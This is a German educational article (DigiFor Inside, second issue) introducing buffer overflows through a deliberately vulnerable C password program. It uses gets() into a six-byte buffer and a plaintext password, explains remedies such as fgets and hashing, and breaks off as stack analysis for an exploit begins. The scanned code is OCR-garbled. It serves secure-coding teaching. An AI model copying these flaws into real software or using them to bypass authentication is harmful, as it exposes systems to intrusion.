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DigiFor Inside

Was ist DigiFor Inside? DigiFor ist die Kurzform fur den Begriff
,Digitale Forensik®, einem Spezialgebiet der IT, welches sich mit
der Analyse und Aufdeckung von Sicherheitsvorfallen (soge-
nannten Incidents) und missbrauchlicher Nutzung von Compu-
tern im Rahmen von Straftaten und zivilrechtlichen Auseinander-
setzungen beschaftigt. DigiFor Inside ist eine neue Reihe von
Fachaufsatzen und Veroffentlichungen, publiziert auf dem Portal
KaferLive (http://www.KaeferLive.de/digifor-inside), bei denen der
Autor Thomas Kafer aus dem IT-Nahkastchen plaudert und An-
griffskonzepte und Mallnahmen zu deren Erkennung bzw. Ab-
wehr offen legt.

Mit diesem Artikel liegt nun bereits die zweite Ausgabe vor.
(siehe DigiFor Inside 01-2013 Social Engineering und Phishing
am Beispiel von Facebook & PayPal auf
http://www.KaeferLive.de/digifor-inside).

About Bufferoverflows

Der Artikel beschaftigt sich im Schwerpunkt mit den Grundlagen
eines Bufferoverflows bzw. dem Ausnutzen programmiertechni-
scher Schwachstellen mit dem Zweck, Schad-Code in eine An-
wendung oder Website einzuschleusen, sodass das Programm
kompromittiert wird oder plotzlich Funktionen (zum Schaden des
Anwenders oder Betreibers) ausfuhrt, die so seitens des Erstel-
lers nicht vorgesehen waren.
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Am Beispiel der Programmiersprache C wird ein einfaches Pro-
gramm bei der Entwicklung mit einer typischen Schwachstelle
.2ausgestattet und diese dann systematisch dazu missbraucht,
Schutzmechanismen der Anwendung zu umgehen und Funktio-
nen ausflhren zu lassen, die gar nicht im Programm enthalten
sind.

Hierbei wird insbesondere Wert darauf gelegt, die Angriffsszena-
rien und die Funktionsweise der Bufferoverflows zu beleuchten
und nicht einfach Tools und Exploit-Baukasten ohne Hinter-
grundwissen anzuwenden. Vom detailliert dargestellten C-
Beispiel wird dann die Briicke zu Web-Anwendungen und Angrif-
fen mittels Cross-Site-Scripting geschlagen.

Zielgruppe

Dieser Artikel richtet sich gleichermal3en an Programmierer bzw.
Anwendungs-Entwickler als auch an IT-Sicherheitsbeauftragte
und Administratoren und bietet in der taglichen Praxis anwendba-
re Sicherheitshinweise und empfohlene Richtlinien, um
Schwachstellen in Software und Systemen zu schlieRlen bzw.
erst gar nicht entstehen zu lassen.
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Der interessierte Leser (und naturlich auch Computer-Anwender)
findet in den vertiefenden Kapiteln fachlich fundierte Informatio-
nen zur Funktionsweise der behandelten Angriffsszenarien mit
dem Ziel, sich und andere gegen Gefahren durch Bufferoverflows
wirksam zu schutzen.

Abgrenzung

Die im vorliegenden Dokument beschriebenen Mechanismen und
Konzepte kdnnen naturlich auch von der ,dunklen Seite der IT*
als Anleitung verstanden oder benutzt werden, wie man einen
Angriff auf fremde Daten konzipiert. Dies ist nicht die Intention
des Autors bzw. des Fachaufsatzes und mutmalflich fur erfahre-
ne Hacker Uberflissig. Jeder, der dieses oder vergleichbares
Wissen dazu nutzt, Schad-Code in fremde Systeme einzuschleu-
sen und sich unbefugt Daten Dritter zu bemachtigen, sollte sich
jedoch bewusst machen, dass jede konkrete Aktion zum Uber-
winden von fremden Schutzmalnahmen, ein Eindringen in IT-
Systeme anderer oder das Abschopfen von personlichen Daten
bereits eine strafbare Handlung darstellt. Datendiebstahl oder gar
das Ausnutzen der gestohlenen Daten, um sich zu bereichern, ist
kein Kavaliersdelikt und auch kein Sport!

Der Autor

DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 7



Der Autor - Dipl.-Ing. Thomas Kafer - beschaftigt sich seit mehr
als zwei Jahrzehnten professionell mit dem Werkzeug ,Compu-
ter® und seit geraumer Zeit mit dem Aspekt der IT-Sicherheit und
der Digitalen Forensik. Seit dem Wintersemester 2012 bildet er
sich nebenberuflich im Rahmen des Masterstudiengangs Digitale
Forensik an der Hochschule Albstadt-Sigmaringen aktiv und in-
tensiv weiter. Im Studium und bei der taglichen Arbeit als 6ffent-
lich bestellter Sachverstandiger fur Systeme und Anwendungen
der Informationsverarbeitung bzw. IT-Consultant wird er regel-
mafig mit unterschiedlichen Aspekten der missbrauchlichen Nut-
zung der EDV konfrontiert. Kernaufgabe als Sachverstandiger
bzw. Forensiker ist die Aufdeckung von Delikten, bei dem der
Computer zur Waffe bzw. Ziel eines Angriffes geworden ist.
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Grundlagen

Das Kapitel Grundlagen behandelt das Grundprinzip des Buf-
feroverflows und wie entsprechende Schwachstellen entstehen
bzw. wodurch sie begunstigt werden.

Grundprinzip des Bufferoverflows

Was ist ein Bufferoverflow? Bringt uns die deutsche Ubersetzung
~Pufferiberlauf‘ weiter? Ja, wenn man weil}, wo ein Puffer einge-
setzt wird bzw. was das wiederum im Detail ist und welche ver-
gleichbaren Formen es im taglichen Anwendungsbereich der
EDV in diesem Kontext noch gibt.

Unter einem Puffer (auch Eingabepuffer) versteht man einen
Speicherbereich bzw. abstrakt gesprochen eine Vorrichtung im
Computer, die Zeichen, z.B. bei der Eingabe von der Tastatur,
zwischenspeichert (puffert), um sie anschliel3end an eine andere
Komponente (z.B. ein Programm) weiterzuleiten. Dieser Puffer-
mechanismus ist den Ublichen Konzepten der Modularisierung
von Bausteinen und Systemkomponenten in einem IT-System
geschuldet. So kann es auch in modernen und leistungsfahigen
Computern Situationen geben, wo die Maschine (das Betriebs-
system) gerade keine Zeit hat, auf Benutzereingaben des Bedie-
ners zu reagieren bzw. diese entgegenzunehmen. Daflr hat die

DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 9



Tastatur einen eingebauten Puffer, der die eingegebenen Zei-
chen solange zwischenspeichert, bis der Computer diese ab-
nimmt. Und auch das Betriebssystem puffert diese Zeichen wie-
derum kurz, weil nun gerade das Programm, fur das die Einga-
ben bestimmt sind, mit etwas anderem beschaftigt ist als Benut-
zereingaben zu verarbeiten. Was sich hier wie eine riesige Sache
anhort, wird in der Praxis standig in Bruchteilen einer Sekunde
abgewickelt und ist fir den Benutzer i.d.R. nicht transparent.

Manchmal jedoch kann man den Puffermechanismus bei der Ar-
beit beobachten, namlich immer dann, wenn eine Applikation fur
einen kurzen Moment hangt, wahrend man fleiBig weiter Zeichen
fur Zeichen in die Tastatur hammert. Dann stockt die Eingabe
bzw. Wiedergabe der Zeichen auf dem Bildschirm, um dann kur-
ze Zeit spater ,in einem Rutsch® verarbeitet zu werden. Die ,ver-
missten® Zeichen stehen dann auf einmal doch auf dem Monitor.

Jetzt weil man als Programmierer nicht, wie viele Zeichen der
Anwender tatsachlich in ein Eingabefeld Uber die Konsole ein-
gibt. Man hat sicherlich so seine Vorstellungen, was sinnvoll wa-
re bzw. verleiht der Erwartungshaltung dadurch Ausdruck, dass
man bestimmte Werte flr eine Auswahl vorschlagt oder ein Ein-
gabefeld mal langer mal kiurzer gestaltet. Vergisst der Entwickler
aber, die eingegebenen Zeichen hinsichtlich Anzahl (Lange der
Zeichenkette) und/oder der zulassigen Zeichen zu prufen, bevor
er sie in seinem Programm weiterverarbeitet, steht die Tur fur
das Einschleusen von Schad-Code schon ein ganzes Stick of-
fen. Hat er zusatzlich noch unsichere Funktionen in seinem Pro-
gramm verwendet, dann steht sie bildlich sperrangelweit offen.

Bei einem Uberlauf (Overflow) werden namlich mehr Zeichen
Ubergeben, als das Programm erwartet bzw. eigentlich aufneh-
men kann. Diese werden jedoch nicht immer einfach ignoriert,
sondern je nach Machart und System als ausfuhrbarer Pro-
grammcode interpretiert oder zumindest derart verarbeitet, dass
der Computer absturzt oder den Zugriff auf Programmteile zu-
lasst, die man mit den aktuellen Rechten eigentlich nicht ,betre-
DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 10



ten® durfte. Angriffe, wie z.B. das Cross-Site-Scripting, sind
streng genommen nicht zwangslaufig immer Uberlufe, sondern
konnen allein schon daher hervorgerufen werden, dass eine Da-
teneingabe als ausflhrbares Script interpretiert wird. Dazu spater
mehr.

Motivation und Ziel des Angreifers

Der oder die Angreifer verfolgen bei einem Bufferoverflow unter-
schiedliche Ziele. Die ,harmloseste” Sorte ist diejenige, die aus
,sportlichen” Grinden versucht, in fremde Systeme einzudringen,
um sich zu profilieren oder im besten Fall Schwachstellen von
Systemen und Anwendungen mit dem Ziel aufzudecken, diese
Sicherheitslicken zu schlieBen. Sofern keine ausdruckliche Er-
laubnis bzw. gar ein Auftrag fur einen sogenannten Pentest auf
einem fremden System vorliegt, ist dieser jedoch genauso illegal
wie ein Angriff, der auf die missbrauchliche Nutzung der Daten
ausgerichtet ist. Man kann davon ausgehen, dass der aktive Ver-
such, eine offensichtlich vorhandene Schutzmallinahme zu Uber-
winden, bereits eine strafbare Handlung darstellt.

NETZ g
gsrw\n DEFENCE \N\Ud\AK‘ SSEN PROPAC,
onpen PATACON "V NEUE

o SECURITY iy Sr"ONARA\QREWL“N
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Beispiel: Ist ein Funknetzwerk (WLAN) durch eine wie auch im-
mer geartete Verschlisselung gesichert, so ist bereits der Ver-
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such, diese Verschlisselung bzw. das Login ins Netzwerk zu
Uberwinden, eine unzulassige Handlung.

Die meisten der derartigen Hackversuche zielen jedoch darauf
ab, Systeme lahmzulegen, zum Absturz zu bringen oder so zu
verandern, dass entweder Funktionen aufgerufen werden, auf
die man eigentlich keinen Zugriff oder die der originare Pro-
grammierer gar nicht eingebaut hat (Einschleusen und Ausflhren
von fremdem Schad-Code).

Vorbereitende MaBRnahmen und Know-How

Damit Sie die nachfolgend vorgestellten Programme selber
nachvollziehen / nachbauen bzw. modifizieren kdnnen, brauchen
Sie eine passende Entwicklungsumgebung incl. Debugger fur die
verwendete Programmiersprache.

Und natlrlich bendtigen Sie auch einige Grundkenntnisse hin-
sichtlich der grundsatzlichen Mechanismen beim Programmieren
in sogenannten Hochsprachen, idealerweise in der Program-
miersprache C und ein Grundverstandnis fur Assembler und Ma-
schinensprache, denn nachher geht es gerade bei der Schad-
Code-Entwicklung doch ans Eingemachte — sprich auf Byte- und
Bit-Ebene. Aber keine Sorge: Es wird kein Informatikstudium vo-
rausgesetzt, um die Beispiele nachvollziehen zu kdnnen.

Eine Vorstellung, wie Computer grundsatzlich mit Zahlen umge-

hen, ist enorm hilfreich, auch wenn die Basics hierzu kurz erklart
werden.
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Bufferoverflow am Beispiel der Program-
miersprache C

In diesem Kapitel wird erklart, wie man gezielt Schwachstellen in
einem Programm ausnutzt und Schad-Code so einschleust, dass
man Funktionen ohne die entsprechende Berechtigung aufrufen
kann und wie man das Programm dazu bringt, Dinge zu tun, die
der Programmierer gar nicht eingebaut hat.

Die Beispiele bzw. die Vorgehensweise sind bewusst eher aka-
demischer Natur und leben von der Kenntnis des Quellcodes.
Diesen lesbaren Quellcode (in der Hochsprache) hat der Hacker
i.d.R. nicht (oder zumindest nicht immer), sodass sich sein An-
griff darauf konzentriert, mit gewissen Annahmen und Erfah-
rungswerten ,ins Blaue® zu schielfen und mit Streuverlusten in
der Vielzahl der Falle bei unsicheren Systemen doch (irgendwie)
ans Ziel zu gelangen. Dies nimmt dem Hacker i.d.R. ein Toolkit
ab, welches einfach munter alle bekannten Schwachstellen
durchprobiert und dann ein Exploit' ausliefert, welches fir viele
Ziele passt.

Entwicklungsumgebung

FUr die nachfolgenden Beispiele wird das Entwicklungswerkzeug
.Eclipse” eingesetzt, welches auf JAVA basiert und sowohl flr
Windows-, Mac OS X- als auch Linux-Systeme kostenfrei erhalt-
lich ist. Es gibt verschiedene Editionen, denn Eclipse ist nicht an
eine bestimmte Programmiersprache gekoppelt, sondern kann
praktisch universell eingesetzt werden.

Wir bendtigen fir unsere Zwecke die Eclipse IDE for C/C++ De-
velopers, die unter folgendem Link bezogen werden kann:
http://www.eclipse.org/downloads/packages/eclipse-ide-cc-
developers/junosr2).

Diese beinhaltet neben dem Editor auch einen C-Compiler und
einen passenden Debugger. Installationsvoraussetzung fir E-
clipse ist die sogenannte ,Java Runtime Edition (JRE)“, die man
DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 13
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auf der Homepage der Firma Sun herunterladen kann
(http://www.sun.org). Als Compiler verwenden wir das Programm
MinGW (welches man auch separat unter http://www.mingw.org
beziehen kann).

)

Wenn Sie die Beispiele in Eclipse nachvollziehen wollen, emp-
fiehlt es sich, zunachst einmal ein einfaches ,Hello World*-
Programm in C zu schreiben und zu versuchen, dieses in Eclipse
und mit MinGW zum Laufen zu bringen (zu kompilieren und zu
debuggen). Die Lernkurve ist beim Einstieg in Eclipse recht flach,
d.h. man braucht durchaus ein paar Tage, bis man die Bedie-
nung verinnerlicht hat und mit den Eigenheiten der Umgebung
klarkommt. Dann jedoch ist Eclipse ein sehr machtiges Werk-
zeug.

Selbstverstandlich konnen Sie auch andere (kostenpflichtige)
Entwicklungsumgebungen einsetzen. Die Werkzeuge werden
sich hinsichtlich Bedienung und Ergebnis (Debugging bzw.
Schad-Codeeinschleusung im Detail unterscheiden. Es kann
auch vorkommen, dass Sie innerhalb von Eclipse beim Wechsel
zwischen den Betriebssystemen Windows, Mac OS X und Linux
bzw. auf unterschiedlicher Hardware unterschiedliche Ergebnisse
(Speicheradressen) feststellen. Die vorgestellten Beispiele wur-
den alle mit Eclipse Juno auf einem Windows 7 64-BIT-System
ausgefuhrt.

Nach dem Start von Eclipse sieht man ein Fenster, welches in
etwa dem folgenden ahneln wird/sollte:

DigiFor Inside — 2. Ausgabe — www.KaeferLive.de 14
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Relevant sind zunachst die Fenster ,Projekte”, in denen alle C-
Projekte mit allen Dateien abgelegt werden, das Fenster ,Quell-
code®, welches nachher die Programmcode-Dateien im Editier-
modus enthalt und das Fenster ,Console®, welches fur die Pro-
grammausgaben und Meldungen dient. Man legt nun zunachst
ein neues C-Projekt Uber ,File / New / C Project* an, vergibt ei-
nen Projektnamen (,z.B. Bufferoverflow“) und wahlt als Compiler
den MinGW aus:
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= CProject

=

—

€ Project
Create C project of selected type

Project name:  Bufferoverflow

V] Use default location

C:\Digifor\Bufferoverflow Browse.
default
Project type: Toolchains:
(> GNU Autotocls Cross GCC
4 (& Executable

@ Empty Project

@ Hello World ANSI C Project
(= Shared Library
(= Static Library
(& Makefile project

[7]Show project types and toolchains only if they are supported on the platform

@ Mea> | [ _Fnsh ][ Concel

= CProject
Select Configurations

Select platforms and configurations you wish to deploy on

Executable
MinGW GCC

Project type:
Toelchains:
Configurations:

[¥] ) Debug
[7] B Release

[o o)==

| Select all

Deselect all

| Advanced settings..

Use "Advanced settings” button to edit project’s properties.

Additional configurations can be added after project creation.
Use "Manage configurations” buttons either on toolbar or on property pages.

Dann klickt man im Project-Explorer mit der rechten Maustaste
auf das neu angelegte Projekt und flgt ein neues Source-File

hinzu:
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= C/C++ - Edlipse
File Edit

W

Source Refactor Mavigate Search Project Run  Window Help

[ Project Explorer 52 = <;==:>| & Y= 0

[B~-Q -6 @ i~~~ X H-0- Q- &S 5~ ¢

o
4

4 =% Buf !
- Mew 3

> [

==
(=13

Go Into
Open in New Window

Ctrl+C
Ctrl+V
Delete
Ctrl+Alt+Shift+ Down

Copy
Paste

¥ Delete

Remove from Context

E;E‘él:,ég Eg[<>|:<>

Source 3
Move...

Rename... F2

Import...
Export...

A ER

C. &

=
L

Project...

File
File from Template

Folder

Class
Header File
Source File

Source Folder

C Project
C++ Project

Tracing Project

Other...

Ctrl+N

Build Project
Clean Project
Refresh F5

fo

Close Project

Close Unrelated Projects

Build Configurations 3
Make Targets 3

Index 3

Show in Remote Systems view
Convert To...
Run As 3
Debug As 3
Profile As 3
Compare With 3
Restore from Local History...

’g} Run C/C++ Code Analysis
Team 3

Add/Remove Rpmlint Wamings

Properties Alt+Enter

Resource Configurations 3
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Wichtig: Unbedingt als Endung fur den Dateinamen ,.c* verwen-
den, damit das Syntax-Highlighting in Eclipse funktioniert und
Eclipse ,weil}*, dass es sich um eine C-Datei handelt:

Source folder:  Bufferoverflow

= Mew Source File = @
Source File
Create a new source file. C
= |

Browse...

Source file: bufferoverflow.c
Template: Default C source template v‘ I Configure... I
P

'\3_,' [ Finish l I Cancel

Programmbeispiel mit Schwachstellen
Das Basisprogramm sieht folgendermalen aus:
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#include <stdic.hx> /{ Einbinden der bendtigten Biblictheken
#include <stdlib.h»
#include <string.h>
vold zugang_erteilt (woid) {
puts ("Zugang erteilt!n"); /¢ Ausgabe auf der Kconsocle "Zugang
ff erteillt!”™ - gleichbedeutend mit
/¢ irgendeiner sinnvollen Akticon
fflushistdout}; /{ Freigabe des Ausgabe-pPuffers in Eclipse
/{ (Eigenart von Eclipse)
vold zugang werwelgert (woid} {
puts ("Zugang verweigert!in"}; // Ausgabe auf der Konsocle "Zugang
/¢ verwelgert!™ - gleichbedeutend mit
/¢ irgendeiner sinnvollen Akticon

fflush{stdout};
L
void eingabe({void} {
char puffer[g]; /{ variable puffer zur Aufnahme der
/¢ Benutzereingabe - auf max. & Zeichen
/¢ dimensieniert (Designfehler)
int check; /{ variable zur verarbeitung des Zugangs
/¢ zu den Unterfunkticnen
puts ("Bitte geben Sie Ihr Passwort ein: Wn"}; /¢ Ausgabe auf der
[/ Konsole mit Aufforderung zur Passworteingabe
fflushistdout};
gets (puffer); /¢ unsichere Funkticn, da keine Abfrage

[/ erfolgt, ob Anzahl der eingegebenen Zeichen (hier &) den reservierten

[/ Speicherplatz auf dem Stack lbersteigt; proveziert pufferiberlauf;
if(stromp (puffer, "geheim") == 8} { // Designfehler:

/7 Zu wvergleichendes Password steht als Klartext im Code; kann somit leicht
[/ durch Disassemblen bzw. Debuggen ausgelesen werden;

check=1; /{ wenn Eingabe (puffer) gleich "geheim"
T /¢ 1st, dann "1" zuridckgeben
else {
check=8; /{ wenn Eingabe (puffer) ungleich "geheim”

fé ist, dann "e" zuridckgeben

i)
if(check == @) {
zugang_verwelgert(}; /f check ist @ und damit wird Funktion
[ zugang_wverweigert() aufgerufen

else {
zugang_erteilt(}); /{ check ist nicht @ (alsc z.B. 1}
f// und damit wird Funktlon zugang_erteilt aufgerufen
T /! (Designfehler, da irgendein Wert <» @ zum Erfolg fuhrt)
int main(woid) {
eingabe(); /¢ Aufruf der Funktion "eingabe™ zum
// Einlesen des Passwortes
puts ("Programmende. “n"}); /¢ Ausgabe Programmende (als Kontrelle, ob
/¢ Programm sauber beendet wird)
fflush{stdout};
return &; /¢ Rbcksprung zum Betriebssystem

Der Programm-Code ist sehr ubersichtlich, sauber eingertckt
und sehr detailliert kommentiert. Das ist das einzig Positive, was
man Uber dieses Programm sagen kann, denn abgesehen von
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dem durftigen Nutzwert, sind gleich eine ganze Reihe boser De-
signfehler enthalten.

Das Programm besteht — wie jedes C-Programm — aus einer
main-Routine (dem Hauptteil des Programms) und drei Unter-
funktionen eingabe(), zugang erteilt(), und zu-
gang verweigert (). Der Programmzweck ist leicht zu durch-
schauen: Das Programm fragt eine Eingabe ab (ein Passwort)
und gibt bei Ubereinstimmung des eingegebenen Passwortes mit
dem gespeicherten Vergleichswert den Satz ,Zugang erteilt!”
aus. Wurde das Passwort nicht korrekt eingegeben, so wird ,Zu-
gang verweigert!“ ausgegeben. Danach wird die Ausgabe ,Pro-
grammende.” erzeugt, um zu priufen, ob das Programm sauber
aus den Funktionen ,zuruckgekehrt® ist und korrekt beendet wer-
den konnte. Die beiden Funktionen zugang erteilt () und
zugang verweigert () bzw. die gesamte Logik dienen natlr-
lich lediglich als Platzhalter fur wirklich nutzbare Funktionen, de-
ren Code uns jedoch nur vom Wesentlichen (namlich den Buf-
feroverflows) ablenken wirde.

Speichert man den Quellcode nun ab (dann verschwinden auch
ggf. angezeigte Fehlermeldungen in Form kleiner Kafer (Bugs)),
kann man den Programm-Code kompilieren und linken lassen.
Dies geschieht in Eclipse mit dem Menubefehl ,Project / Build
Project”. Anschlieend kann man das Programm Uber den Play-
Button oder den Menubefehl ,Run / Run® starten. Bei Eingabe
von z.B. ,123456" erscheint die Meldung ,Zugang verweigert,
gibt man ,geheim® ein, so erhalt man ,Zugang“
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¥ Problems ) Tasks | [2 Console Propesties

<terminated> Buffercverficw.ee [(/C -« Application] CA\Digifor Bufercvermiow’ Debug' Bufferoverfiow.exe 050213 (9:22)
Bitte geben Sie Ihr Pasiwmart eln:

Iugang verweigert

Progremsende . * Problers &) Tasks | D) Console T Fropertues
stermnateds Bufferoverloweo [C/C+ » Application] CADigifer\ Bulferoverfiow! Debugh Butfescverflow. ot [15.02.13 05:23)
Bitte geben Sle Ihr Passwort edn:
Pugang erteilt!

Prograsmende .

Insofern arbeitet das Programm nach unseren Winschen / Er-
wartungen.

Nun wollen wir uns zunachst die verschiedenen Schwachstellen
anschauen.

Schwachstelle 1: Angreifbare Programmlogik

Die erste konzeptionelle Schwachstelle findet sich in der Subrou-
tine eingabe(). Hier wird in Abhangigkeit des Variableninhaltes
check der Zugang zum geschitzten Programmbereich freige-
schaltet, wenn dieser einen Wert ungleich von ,0“ hat. Solange
das Programm in den vorgegebenen Grenzen betrieben wird,
funktioniert die Logik. Schafft ein Angreifer aber, den Variablen-
wert durch einen Bufferoverflow gezielt auf ,1“ oder irgendetwas
anderes zu setzen, dann gelangt er auch ohne Kenntnis des
Passwortes in die gesicherte Funktion. Wie das geht, wird in ei-
nem der nachsten Kapitel gezeigt.

Abhilfe: Besser ware, die Verzweigung in den gesicherten Be-
reich von einem (!) konkreten Wert abhangig zu machen, der
nicht nur einem Byte ungleich von 0 entspricht, sondern einem
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komplexeren Wert. Die ,raumliche” Entkopplung von Passwort-
Vergleich und Verzweigung ist hingegen gar nicht so dumm, da
der Weg auch im Disassembly' etwas verschleiert wird.

Schwachstelle 2: Passwort im Klartext gespeichert

Der nachste grobe Designfehler liegt in der Funktion eingabe
() . Hier wird das Passwort im Klartext im Programmcode abge-
legt. Abgesehen davon, dass man es ohne Anderung des Pro-
grammcodes (ggf. ohne Hilfe des Programmierers) nicht andern
konnte, lasst sich diese Zeichenkette sehr leicht in der EXE-Datei
(ausfihrbares Programm) ebenfalls im Klartext auslesen. Dazu
ladt man die Datei ,bufferflow.exe einfach in einer Hex-Editor
(z.B. HxD) und sucht mit der Funktion ,Suchen“ nach der Zei-
chenkette ,geheim®. Sie werden jetzt einwenden, dass der An-
greifer gar nicht weil, wonach er suchen muss. Richtig. Er sucht
aber z.B. nach dem Begriff ,Passwort, denn dieser Text kommt
ja in der Programmausgabe flur ihn sichtbar vor. Und voila: ,ge-
heim“ steht gerade mal zwei Bytes hinter ,Passwort":

% HxD - [C:A\Digifor\Bufferoverflow!\ DebughBufferoverflow.exe] EI@
§_§] File Edit Search View Analysis Extras Window 7 =1 S
B v Hier16 7| Anst [7]| hex [=]

Cffset(h) 00 01 02 03 04 05 06 OT7 08 0% OA OB OC OD OE OF

00001660 66 6F 00 00 5& 75 &7 61 6E &7 20 65 72 74 65 6% fo..Zugang ertel
00001670 &C 74 21 OA 00 SR 75 &7 61 6E 67 20 76 65 72 77 1lt!..Zugang verw
00001680 65 6% 67 65 72 74 21 OR 00 00 00 00 42 69 T4 74 eigert!..... Bitt
00001690 &5 20 &7 65 62 &5 6E 20 53 6% 65 20 45 &8 72 20 e geben 5ie Ihr

00001620 EDLRNHREEEREIFaNE! 20 65 65 6E 34 20 0OA 00
000016B0 67 &5 68 65 6% 6D 00 50 72 6F &7 72 &1 6D 6D &5 geheim.Programme

000016C0O 6E €4 65 2E 20 OA 00 00 E8 14 40 00 4D &9 6E &7 nde. ...&.@.Ming

Q00016D0 77 20 72 75 BE 74 €9 6D 65 20 66 61 6% 6C 75 72 w runtime failur

000016ED0 65 34 OR 00 20 20 56 &9 72 74 75 61 6C 51 75 63 e:.. VirtualQue -~
Offeet: 1640 Block: 16A0-16A7 Length: & Overwrite

Wetten, dass der Hacker jetzt mal das Wort ,geheim® auspro-
biert?
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Abhilfe: Viel besser ware es, wenn schon das Passwort ,hart-
verdrahtet” im Quellcode untergebracht werden soll, hiervon nur
ein sogenannter Hashcode abgelegt wird. Das Wort ,Hash® oder
.,Hashing“ bedeutet so viel wie ,Gehacktes” oder ,Zerhacken®.
Hierbei wird Uber einen mathematischen Algorithmus eine zu
verschlisselnde Zeichenkette so codiert, dass man die urspring-
lichen Zeichen nicht mehr erkennen kann (zerhackt). Der Trick
dabei ist, dass der Mechanismus gut in eine Richtung, namlich in
Richtung des Zerhackens funktioniert, jedoch gar nicht in umge-
kehrter Richtung. Man spricht von einem sogenannten Einweg-
oder auch Falltir-Algorithmus.

Man kann sich das gut mit einem Schwein vorstellen, welches
man durch den Fleischwolf dreht. Ein bestimmtes Schwein ergibt
eine ganz individuelle Menge und Zusammensetzung von Hack-
fleisch. Wurde man ein identisches Schwein durch denselben
Fleischwolf (mit den gleichen Umgebungsparametern) jagen, so
wirde man identisches Hackfleisch erhalten. Durch Vergleich
des Hacks konnte man feststellen, ob die eingegebenen Schwei-
ne identisch waren (ohne deren Aussehen gekannt zu haben).
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Der umgekehrte Weg funktioniert nicht. Denn drickt man das
Hackfleisch nun von unten in den Fleischwolf zurlck und Iasst
das Gerat rtuckwarts laufen, kommt oben sicher kein (funktionie-
rendes) Schwein heraus.
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Dem zugrunde liegen — vereinfacht zusammengefasst — mathe-
matische Algorithmen, die sich gut in die eine Richtung (namlich
der Verschlisselungsrichtung) rechnen lassen, aber nicht oder
nur schwer in die andere Richtung zurlck. Das erfolgt beispiel-
weise unter Verwendung von Primzahlen und Partialbruchzerle-

gung.

Wie funktioniert das (zugegeben blutige) Beispiel nun programm-
technisch bei einem Computer?

Hierzu bendtigt man einen (sicheren) Hashing-Algorithmus, mit
dem man zunachst das zu verschlisselnde Vergleichswort
,hashed”. Diesen Hash-Wert hinterlegt man nun im Programm-
code (oder noch besser in einer externen Datei). Dann baut man
denselben Hashing-Mechanismus in das eigene Programm ein
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und hashed damit die Eingabe des Benutzers (ohne seine Ein-
gabe irgendwo hin abzuspeichern, zu Ubertragen oder anzuzei-
gen). Man vergleicht nur den Hash-Wert der Eingabe mit dem
hinterlegten Hash-Wert. Sind beide Hashes identisch, weil} man,
dass der Benutzer das richtige Passwort eingegeben hat, ohne
selbiges zu kennen (allgemein betrachtet, denn in unserem Bei-
spiel kennt der Programmierer ja Quelle und Hash).

Schwachstelle 3: Falsche Funktionen und Deklaration

Der groRte Programmierfehler liegt aber sicherlich in der Ver-
wendung einer unsicheren Bibliotheksfunktion und dem fehler-
haften Dimensionieren des Char-Arrays. Schauen wir uns dazu
die Funktion eingabe () genauer an:

int eingabe({void) {
char puffer[c];
puts ("Bitte geben Sie Ihr Fasswort ein: wn"};
gets (puffer);

Die Variable puf fer kann durch die Dimensionierung als Char-
Array [6] sechs Zeichen aufnehmen. Jetzt hat zwar das hinterleg-
te Passwort auch nur sechs Zeichen Lange, aber was passiert
wohl, wenn der Benutzer 7 oder mehr Zeichen eingibt (z.B. weil
er sich einfach vertippt hat)?

Hier knallt es in der Funktion gets (puffer). Der gets-Befehl
liest solange Zeichen von der Tastatur (vom Tastaturpuffer) ein,
bis der Benutzer die Eingabe-/Return-Taste bestatigt. Danach
kopiert gets die gesamte Zeichenkette ohne jegliche Uberpriifung
einfach in die Ubergebene Variable (hier puffer), egal, ob diese
passt oder zu lang ist. Im gunstigsten Fall stlirzt das Programm
bei einer deutlich zu langen Zeichenkette einfach ab. Im ungins-
tigsten Fall wird genau diese Schwachstelle gezielt von Hackern
ausgenutzt und dartuber Schad-Code eingeschleust. Das werden
wir im nachsten Kapitel zeigen.
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Die Abhilfe ware so einfach (Programmierer aufgepasst):
Die gets-Funktion gehort in kein Programm! Weitersagen!

Durch Verwendung der sicheren Funktion fgets (puffer, n,
stdin) wird sichergestellt, dass maximal n Zeichen vom Puffer
(hier stdin) eingelesen werden und an die Variable (hier puf-
fer) Ubergeben werden. Will man also max. 6 Zeichen zulassen,
lautet der Befehl fgets (puffer, 6, stdin).

Dummerweise ist die gets-Funktion (wie einige weitere als unsi-
cher geltende Funktionen) nach wie vor in fast jedem Compiler
enthalten und wird von diesem nicht bemangelt. Und da immer
weiter neue Programmierer nachwachsen, die nicht Uber den
Tellerrand hinausschauen, wird auch heute noch fleiRig von der
gets-Funktion (oder vergleichbaren Funktionen) Gebrauch ge-
macht.

)

Eclipse verhalt sich bei der Ausgabe auf der Konsole etwas ei-
genartig und gibt oft eine anstehende Ausgabe nicht auf dem
Bildschirm aus (obwohl das in der DOS-Box mit der EXE-Datei
prima funktioniert). Hier hilft es, hinter jeden Ausgabebefehl (z.B.
printf, puts) den Befehl fflush (stdout) folgen zu las-
sen. Das bewirkt, dass alles was im Ausgabepuffer liegt, auch
wirklich auf der Konsole (stdout) ausgegeben wird.

Schwachstelle 4: Fehlende Initialisierung der Variablen
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Last but not least ist zu bemangeln, dass die verwendeten Vari-
ablen check und puffer nicht mit Startwerten initialisiert wor-
den sind. Somit haben diese Variablen vor ihrer ersten Verwen-
dung zufallige Werte, was dann kritisch wird, wenn die Werte aus
Unachtsamkeit des Programmierers oder wegen eines Pro-
grammfehlers (Hackerattacke) mit den Variablenwerten arbeitet
(diese auswertet), bevor sie gezielt mit Werten beflllt worden
sind. Diesen Fehler werden wir in einem der nachsten Schritte
beheben, damit wir es einfacher haben, die Variablen (-werte) im
Speicher wiederzufinden.

am

Abhilfe: Variablen immer schon bei der Deklaration / Dimensio-

nierung mit einem Startwert vorbesetzen.
char puffer[6]="123456";
int check=0; (oder int check=4711;)

Diese Modifikation bauen wir direkt ins Programm ein, damit wir
die Variablen beim Debuggen leichter identifizieren kdnnen.

Analyse des Codes und Ausnutzen der
Schwachstelle

Nun wird es langsam Zeit, dieses herrlich unsichere Programm
mal genauer zu analysieren und Schad-Code zu entwickeln, da-
mit wir ohne Kenntnis des Passwortes in die gesicherte Pro-
grammroutine gelangen kdnnen.

Analyse des Speicher- und Stack-Aufbaus

Hierzu debuggen wir das Programm und schauen uns den Stack-
Aufbau an. Der Begriff ,Bug“ heil3t nichts anderes als Wan-
ze/Kafer und ist mit dem Autor nur entfernt verwandt. Bug wird
